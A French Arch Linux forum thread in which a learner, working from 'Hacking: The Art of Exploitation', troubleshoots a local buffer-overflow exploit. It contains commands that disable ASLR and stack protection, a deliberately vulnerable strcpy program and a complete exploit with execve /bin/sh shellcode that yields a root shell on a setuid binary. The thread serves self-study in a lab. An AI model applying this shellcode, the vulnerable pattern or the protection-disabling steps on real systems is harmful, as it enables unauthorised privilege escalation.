[buffer overflow]désactiver les protections système (résolu)

[rasta]

bonjours;

Petit nouveau sous arch depuis un mois et demi je voudrais m'entrainer à la conception de buffer overflow, la littérature sur ce sujet coulant à flot sur le net il n'est pas difficile de trouver du code d'exemple minimaliste bien expliqué.
Ici mon buffer overflow est réalisé à l'aide de la fonction C 'strcpy()'.
Seulement mon problème et que je n'arrive pas à désactiver toute les protections du système pour ce genre d'exploit (enfin je pense car chez les autres sa à l'air de marché ).

Mes différentes recherches se recoupent et m'indiquent d'effectuer les manipulations suivantes:

coté kernel:
désactiver l'ASLR:
# sysctl -w kernel.randomize_va_space=0

coté variable d'environnement:
désactiver la détection de heap overflow:
# export MALLOC_CHECK_=0

coté compilateur:
désactiver les protections de la pile lors de la complation:
# gcc source.c -fno-stack-protector -z execstack

malgré tout cela mon exploit pourtant simple ne marche pas.


mes questions sont:

Existe t-il d'autres protections à désactiver pour commencer mon apprentissage
des buffer overflow?
Et si oui lesquelles?

[oktoberfest]

Salut,

c'est quoi le code que tu utilises ? Je viens de piocher un exemple sur Internet et j'obtiens un beau 'segmentation fault' sans faire aucune des manipulations que tu indiques.

Voilà le code récupéré :

Code : Tout sélectionner

#include <stdio.h>

void manipulate(char *buffer) {
  char newbuffer[20];
  strcpy(newbuffer,buffer);
}

int main() {
  char ch,buffer[4096];
  int i=0;

  while ((buffer[i++] = getchar()) != '\n') {};
  
  i=1;
  manipulate(buffer);
  i=2;
  printf("The value of i is : %d\n",i);
  return 0;
}

Et si, lors de l'exécution, tu saisis une trentaine d'espaces et que tu valides, tu auras un beau dépassement de buffer.

[cdemoulins]

Faire un buffer overflow qui fait juste planter le programme est effectivement facile.
Mais si il cherche à changer la valeur d'une variable par un buffer overflow sans
justement segmentation fault c'est plus compliqué.

Pour tes tests, tu peux essayer de travailler dans une machine virtuelle avec un vieux
noyau qui n'a pas tout les protections de la mémoire qu'il y a maintenant.

[rasta]

Merci de vos réponses, en fait c'est moi qui me suis mal exprimé,
les débordements de tampons fonctionne très bien Maître du Kyudo .
Je voulais en fait réaliser un shellcode qui ouvre un shell root.

Mon code sort tout droit du livre Hacking "The Art of Exploitation" (seconde édition),
En fait l'auteur fait écrire un programme qui recherche une chaîne de caractère dans un fichier et l'occurence à trouvé est passé comme premier argument de la ligne de commande.
il fait ensuite écrire un deuxième programme qui exploite le premier, il contient le shellcode ainsi que la préparation de la commande qui exécute le premier programme par l'intermédiaire de la fonction system().

Voici le source pour le premier programme pour ne pas surchargé le forum je mes juste le main() ainsi que le source du deuxième programme qui l'exploite:

notesearch.c

Code : Tout sélectionner

//
//	Le programme notetaker et notesearch implémente une logique
//	qui veut que lorsqu'une note écrite est prise en compte seul l'utilisateur
//      qui la déposé peut effectuer une recherche dessus.
//
// Ce programme contient une faille par débordement de tampon sur la variable searchstring

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/tmp/notes"


int print_notes(int, int, char *);	// affiche une note
int find_user_note(int, int);		// recherche une note de l'utilisateur dans le fichier
int search_note(char*, char*);		// recherche d'un mot clé
void fatal(char*);			// gestion des erreurs fatales


int main(int argc, char *argv[]){

	int userid, printing=1, fd;	// file descriptor
	char searchstring[100];

        // lieu du débordement de tampon
	if(argc > 1) strcpy(searchstring, argv[1]);   
	else searchstring[0] = 0;	// sinon la chaine de recherche est vide


	userid = getuid();


	fd = open(FILENAME, O_RDONLY);	// ouverture du fichier en lecture seul
	if(fd == -1) fatal(" in main() while opening file for reading");

        // affiche des notes tant qu'il en reste
	while(printing) printing = print_notes(fd, userid, searchstring); 

	printf("-----[ end of note data ]-----\n");

	close(fd);

	}


[u]exploit.c[/u]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]){

	unsigned int i, *ptr, ret, offset=270;
	char *command, *buffer;

	command = (char *) malloc(200);
	bzero(command, 200);	// rempli la zone mémoire allouée de zéro

	strcpy(command, "./notesearch \'");	// début du tampon de la commande
	buffer = command + strlen(command);	// buffer cible de la commande

	if(argc > 1) offset = atoi(argv[1]);  // fixer le décalage

	ret = (unsigned int) &i - offset;  // fixe l'adresse de retour

        // met l'adresse de retour dans le tampon
	for(i=0; i<160; i+=4)  *((unsigned int *) (buffer+i)) = ret; 

	memset(buffer, 0x90, 60); // met en place le "NOP sled"

	memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

	strcat(command, "\'");

	system(command);	// lance l'exploit

	free(command);

}

Dans mon livre l'auteur obtient un shell root de cette forme:

sh-3.2#

Or j'ai remarqué que aujourd'hui on a plus "sh-3.2#" mais "sh-4.2#", le shellcode n'est peut-être pas adapté pour ce shell?
Ou alors il existe encore une protection que je n'ai pas désactivé?
Ou bien une erreur c'est glissé dans mes souces.

Excusé-moi de mon imprécision et merci encore de votre aide

[benjarobin]

Je te conseil la lecture de ceci : http://insecure.org/stf/smashstack.html
Par contre la méthode que tu décrit (la même que celle expliqué dans mon lien) ne permet pas d'élever les droits. Donc tu auras un shell mais pas en root, si le programme lançant l'exploit n'est pas fait en root

[rasta]

Salut Maître du Kyudo ton lien m'a l'air intéréssant (forcement sa parle de mémoire )
Je me pencherais dessus dés que j'aurais un peut de temps (sous peu).

Bon pour mon problème cité plus haut c'est résolue, mais après un casse tête pas possible,
je m'explique:

- j'ai créé une machine virtuel avec avec l'image iso fournit avec mon bouquin.
Une vielle ubuntu avec kernel 2.6.20 modifié par l'auteur

--------------- Ce passage est pas très intéréssant, c'est surtout pour les gens
qui serait susceptible de lire le même bouquin que moi et qui
s'arrache les cheveux

Puis la c'est le flop, la configue matèrielle très light de mon pc ne permet pas
d'installer par manque de mémoire. J'ai pas pue compilé mes source par manque de
mémoire vue que c'est un liveCD. Puis pour me faire le portrait jusqu'au bout la
partition de la machine virtuelle qui elle; est bien là dans /dev/ n'a pas pue
être formater avec fdisk car il n'y a pas accés en écriture. Enfin de compte une
distrib instable. J'ai donc rusé!!!!!!!!!!!!
Et je parle pas des droits d'accées extraterrestre et j'en passe et des meilleurs.
----------------------------------------------------------------------------------

- j'ai monté une clée usb formaté en ext2 dans la box virtuelle avec mes sources

- j'ai compilé mes sources dans la box virtuel avec l'option "-z execstack" de gcc
(version gcc-3.3.6)

- puis retour sous arch, ou j'ais désactivé L'ASLR:
# sysctl -w kernel.randomize_va_space=0

- puis attribution des utilisateurs et groupes et bit set-uid aux différents binaire

- puis j'exécute mes binaires qui me fournissent finalement un shell root


Sauf qu'il y a encore un hic!!!!!!!!!!!!!

-après cette belle étape de franchie je note toute les conditions pour que l'exploit
fonctionne (version compilateur, désactivation des protection...) puis je transfère
mes binaires sur le DD de mon pc et la je relance l'exploit sauf que sa
fonctionne plus.
Pourtant un coup de "readelf -l" montre que la pile de mes binaire est exécutable.

Etrange quand pensez-vous???????
le système aurait-il des fonctionnalitées t'elle que repérer et modifier un binaire à risque potentiel (là je suis very septique)??????
L'auteur du livre serait-il un blageur????????


D'ou peut provenir ce comportement qui parait de l'extèrieur étrange?????????

Désolé pour mon francais pitoiyable..........

[benjarobin]

Je te conseil de relire le lien que je t'ai donné. Il faut en effet adapter le code (chaine de caractère en hexadécimal) en fonction du système
Sinon je ne suis pas sûre d'avoir compris ce que tu as fait :
- Tu as compilé depuis le liveCD
- Tu as exécuté sous Arch ? en quelle version ?
- Puis tu as exécuté sur ton PC ??? C'est à dire c'est ArchLinux en quelle version

[rasta]

explication pas à pas:

-j'ai créer une machine virtuelle :
ubuntu modifié avec un kernel 2.6.20
gcc-3.3.6

- création d'une clé usb formaté et partionné en ext2

- je copie mes sources sur la clée

- je monte la clé dans la machine virtuelle créer précédement

- je compile mes sources avec gcc-3.3.6 dans la machine virtuelle sur
la clée usb. (c'est à dire que j'utilise la clée usb comme disque dur)

- à ce stade j'obtien donc des binaires stocké sur ma clée usb en ext2,
qui est elle même monté dans la machine virtuelle.

- Comme ma machine virtuelle sous ubuntu refuse que j'exécute un
programme (chose étrange) du genre "permission denied" même en root.
Je démonte la clée de la machine virtuelle.

- une fois démonté de la machine virtuelle je monte ma clée dans mon
système hôte en l'ocurrence c'est une archlinux avec un kernel 3.2.6-2

- je désactive l'ASLR (bien que je ne sais pas si il est oui ou non
activé par défaut)

- puis de ma clée usb j'exécute mon exploit qui me fournit un shell root
dans archlinux (je pense être clair).

- puis de ma clé usb je copie à coup de "cp -a" les binaire sur mon sur
mon disque dur (toujour dans archlinux).

- je rentre dans le répertoire situé sur le disque dur qui
contient les binaires que j'ai copié de la clée usb.

- j'exécute l'exploit qui ne fournit cette fois aucun shell root.


CONCLUSION: sous le même système ici une archlinux avec kernel 3.2.6-2,
si j'exécute mon exploit de la clée usb ou bien du disque dur
je n'obtiend pas le même résultat.
Dans le premier cas j'obtiend en shell root (de la clée usb);
dans le deuxième cas je n'obtiend qu'une exécution anormale
du programme qui revient à l'invite de l'utilisateur.

Je pense donc qu'il y a un probléme quelque part, mais je ne pense pas
que sa vienne du shellcode?

[benjarobin]

Tu n'aurais pas copier dans un répertoire monté avec des droits spéciaux ?
Ce chemin ne contient pas de caractères spéciaux ?
=> Sortie de la commande mount ainsi qu'un ls -la du dossier contenant les 2 executables

[rasta]

Maître du kyudo merci, en effet le chemin par lequel je tentais d'éxecuter mon code était execesivement long et contenait effectivement des caractéres du genre tiret, underscore et chiffres. une fois tout sa
copié dans le /home, l'exploit fonctionnent très bien.
Mercie pour ton intuition et désolé pour mon incompétance de débutant.

Je vais enfin pouvoir continuié mon apprentissage des shellcodes






Sujet Résolu !!!!!!!!!!!!!!!!!!

[benjarobin]

Sinon mon pseudo c'est benjarobin...